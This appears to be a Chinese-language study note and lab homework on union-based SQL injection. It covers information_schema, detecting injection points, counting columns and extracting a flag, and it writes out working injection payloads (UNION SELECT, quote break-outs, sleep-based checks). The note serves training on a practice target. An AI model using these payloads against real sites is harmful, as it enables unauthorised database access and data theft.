SQL注入——联合注入

SQL注入原理：攻击者通过构造不同的SQL语句来实现对数据库的操作

SQL注入的本质：我们也能操作别人的数据库

数据库结构：库：就是一堆表组成的数据集合    表：类似Excel，有行和列组成的二维表     字段：表中的列称为字段    记录：表中的行称为记录  单元格：行和列相交的地方成为单元格

在数据库里有一个系统库：information_schema    

        在他里面有个存放所有库名的表：schemata        schema_name  库名       

        在他里面有个存着所有表名的表：tables              table_name  表名            

        在他里面还有个存放着所有字段的表：columns   column_name   字段名

基本查询语句：

        select * from 表：从表里查询所有内容      

        where ：有条件的从表中选取数据      

        and和or：条件有点多的时候从表中选取数据

        order by :根据指定的结果集/指定的列进行排序    

        limit 0,1:从第一行起显示一条记录      

        union select :将多个表拼接在一起（在进行联合查询的时候要注意前面的表和后面的表字段数要相同）

SQL手注的一般流程：

        1、判断注入点（注入点：存在SQL注入的地方）

                判断注入点：通过具有差异化现象的语句判断我们的语句是否进入到数据库

                方法：1、运算符检测（利用减乘除（id=2-1或id=2/2或id=0.5*2），加号相当于空格，如要使用加号，则需先通过URL编码（id=0.5%2B0.5）

                           2、and 1=1   and 1=2   (and -1=-1   and  -2=-1）

                           3、and  sleep(10)

        2、判断字段数

                利用 order  by  判断字段数   可使用二分法

        3、判断回显点

        4、查询内容

                查询数据库版本：version()

                查询数据库名字：database()

                查询表名

                查询字段名

                查询字段内容

作业：

1、

 id=2-1 order by 3

 id=2-1 order by 4

 由上可知，有3个字段

id=2-1 union select 1,2,3

 可知2和3是两个回显点

id=2-1 union select 1,2,database()

 知当前数据库名为 error

id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

得知该数据库中的第一个表为error_flag,欲得到其他的表只需将limit 后面的0改成其他数字的即可 

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 0,1

 得知第一个字段为id

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 1,1

得知第二个字段为flag

id=1 and 1=2 union select 1,2,flag from error.error_flag limit 0,1

 至此，得到flag

2、

id=1‘ and 1=1 -- qwe

 id=1' and 1=2 -- qwe

 id=1' and 1=2 union select 1,2,database()

 3、id=1') and 1=2 union select 1,2,database() -- qwe

 4、id=1") and 1=2 union select 1,2,database() -- qwe